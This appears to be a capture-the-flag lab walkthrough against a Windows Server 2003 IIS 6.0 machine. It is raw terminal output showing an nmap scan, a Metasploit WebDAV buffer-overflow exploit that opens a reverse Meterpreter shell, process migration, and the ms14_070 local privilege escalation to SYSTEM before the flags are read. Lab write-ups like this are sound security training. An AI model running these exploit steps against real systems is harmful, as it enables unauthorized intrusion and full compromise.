```
└──╼ [★]$ ping 10.129.2.85

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.2.85

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0

searching microsoft IIS 6.0 in exploitdb gives me :
https://www.exploit-db.com/exploits/41738
WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow

└──╼ [★]$ msfconsole
msf5 > search scstoragepathfromurl

Matching Modules
================

   #  Name                                                Disclosure Date  Rank    Check
Description
   -  ----                                                ---------------  ----    -----
-----------
   0  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26       manual  Yes
Microsoft IIS WebDav ScStoragePathFromUrl Overflow

msf5 > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.129.2.85
rhost => 10.129.2.85
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 10.10.14.80:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (176195 bytes) to 10.129.2.85
[*] Meterpreter session 1 opened (10.10.14.80:4444 -> 10.129.2.85:1030) at 2020-12-31 15:44:04
+0000

meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.

meterpreter > sysinfo
Computer        : GRANPA
OS              : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Domain          : HTB
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.129.2.85 - Collecting local exploits for x86/windows...
[*] 10.129.2.85 - 31 exploit checks are being tried...
[+] 10.129.2.85 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be
validated.
[+] 10.129.2.85 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be
vulnerable.
[+] 10.129.2.85 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.129.2.85 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be
vulnerable.
[+] 10.129.2.85 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be
validated.
[+] 10.129.2.85 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

meterpreter > ps -a

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System
 268   4     smss.exe
 324   268   csrss.exe
 348   268   winlogon.exe
```

```
 396   348   services.exe
 408   348   lsass.exe
 596   396   svchost.exe
 684   396   svchost.exe
 740   396   svchost.exe
 768   396   svchost.exe
 804   396   svchost.exe
 916   1108  cidaemon.exe
 960   396   spoolsv.exe
 988   396   msdtc.exe
 1108  396   cisvc.exe
 1148  396   svchost.exe
 1172  1108  cidaemon.exe
 1204  396   inetinfo.exe
 1256  396   svchost.exe
 1348  396   VGAuthService.exe
 1408  1108  cidaemon.exe
 1412  396   vmtoolsd.exe
 1480  396   svchost.exe
 1672  396   svchost.exe
 1812  596   wmiprvse.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\
wbem\wmiprvse.exe
 1868  396   dllhost.exe
 1912  396   alg.exe
 2332  596   wmiprvse.exe
 2464  1480  w3wp.exe           x86   0        NT AUTHORITY\NETWORK SERVICE  c:\windows\system32\
inetsrv\w3wp.exe
 2532  596   davcdata.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\
inetsrv\davcdata.exe
 2752  348   logon.scr
 3228  2464  rundll32.exe       x86   0                                      C:\WINDOWS\system32\
rundll32.exe

meterpreter > migrate 2532
[*] Migrating from 3228 to 2532...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd ..
meterpreter > cd ..
meterpreter > cd Documents\ and\ Settings
meterpreter > ls
Listing: C:\Documents and Settings
==================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2017-04-12 14:12:15 +0000  Administrator
40777/rwxrwxrwx  0     dir   2017-04-12 13:42:38 +0000  All Users
40777/rwxrwxrwx  0     dir   2017-04-12 13:42:38 +0000  Default User
40777/rwxrwxrwx  0     dir   2017-04-12 14:32:01 +0000  Harry
40777/rwxrwxrwx  0     dir   2017-04-12 14:08:32 +0000  LocalService
40777/rwxrwxrwx  0     dir   2017-04-12 14:08:31 +0000  NetworkService

meterpreter > background
[*] Backgrounding session 1...

msf5 > use exploit/windows/local/ms14_070_tcpip_ioctl
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set rhost 10.129.2.85
rhost => 10.129.2.85
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set SESSION -1
SESSION => -1
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 10.10.14.90:4444
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (176195 bytes) to 10.129.2.85
[*] Meterpreter session 2 opened (10.10.14.90:4444 -> 10.129.2.85:1031) at 2021-01-02 16:36:31
+0000
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > pwd
C:\Documents and Settings
meterpreter > cd Harry
meterpreter > ls
Listing: C:\Documents and Settings\Harry
=======================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2017-04-12 14:32:01 +0000  Application Data
40777/rwxrwxrwx   0       dir   2017-04-12 14:32:01 +0000  Cookies
40777/rwxrwxrwx   0       dir   2017-04-12 14:32:01 +0000  Desktop
40555/r-xr-xr-x   0       dir   2017-04-12 14:32:01 +0000  Favorites
40777/rwxrwxrwx   0       dir   2017-04-12 14:32:01 +0000  Local Settings
40555/r-xr-xr-x   0       dir   2017-04-12 14:32:01 +0000  My Documents
100666/rw-rw-rw-  524288  fil   2017-04-12 14:32:01 +0000  NTUSER.DAT
40777/rwxrwxrwx   0       dir   2017-04-12 14:32:01 +0000  NetHood
40777/rwxrwxrwx   0       dir   2017-04-12 14:32:01 +0000  PrintHood
40555/r-xr-xr-x   0       dir   2017-04-12 14:32:01 +0000  Recent
40555/r-xr-xr-x   0       dir   2017-04-12 14:32:01 +0000  SendTo
40555/r-xr-xr-x   0       dir   2017-04-12 14:32:01 +0000  Start Menu
100666/rw-rw-rw-  0       fil   2017-04-12 14:32:01 +0000  Sti_Trace.log
40777/rwxrwxrwx   0       dir   2017-04-12 14:32:01 +0000  Templates
100666/rw-rw-rw-  1024    fil   2017-04-12 14:32:01 +0000  ntuser.dat.LOG
100666/rw-rw-rw-  178     fil   2017-04-12 14:32:01 +0000  ntuser.ini

meterpreter > cd desktop
meterpreter > ls
Listing: C:\Documents and Settings\Harry\desktop
================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  32    fil   2017-04-12 14:32:09 +0000  user.txt

meterpreter > cat user.txt
bdff5ec67c3cf********************

meterpreter > cd ..
meterpreter > pwd
C:\Documents and Settings\Harry
meterpreter > cd ..
meterpreter > cd Administrator
meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2017-04-12 14:12:15 +0000  Application Data
40777/rwxrwxrwx   0       dir   2017-04-12 14:12:15 +0000  Cookies
40777/rwxrwxrwx   0       dir   2017-04-12 14:12:15 +0000  Desktop
40555/r-xr-xr-x   0       dir   2017-04-12 14:12:15 +0000  Favorites
40777/rwxrwxrwx   0       dir   2017-04-12 14:12:15 +0000  Local Settings
40555/r-xr-xr-x   0       dir   2017-04-12 14:12:15 +0000  My Documents
100666/rw-rw-rw-  786432  fil   2017-04-12 14:12:15 +0000  NTUSER.DAT
40777/rwxrwxrwx   0       dir   2017-04-12 14:12:15 +0000  NetHood
40777/rwxrwxrwx   0       dir   2017-04-12 14:12:15 +0000  PrintHood
40555/r-xr-xr-x   0       dir   2017-04-12 14:12:15 +0000  Recent
40555/r-xr-xr-x   0       dir   2017-04-12 14:12:15 +0000  SendTo
40555/r-xr-xr-x   0       dir   2017-04-12 14:12:15 +0000  Start Menu
100666/rw-rw-rw-  0       fil   2017-04-12 14:12:15 +0000  Sti_Trace.log
40777/rwxrwxrwx   0       dir   2017-04-12 14:12:15 +0000  Templates
100666/rw-rw-rw-  1024    fil   2017-04-12 14:12:15 +0000  ntuser.dat.LOG
100666/rw-rw-rw-  178     fil   2017-04-12 14:12:15 +0000  ntuser.ini

meterpreter > cd desktop
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\desktop
========================================================
```

```
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  32    fil   2017-04-12 14:28:50 +0000  root.txt

meterpreter > cat root.txt
9359e905a2c3********************
```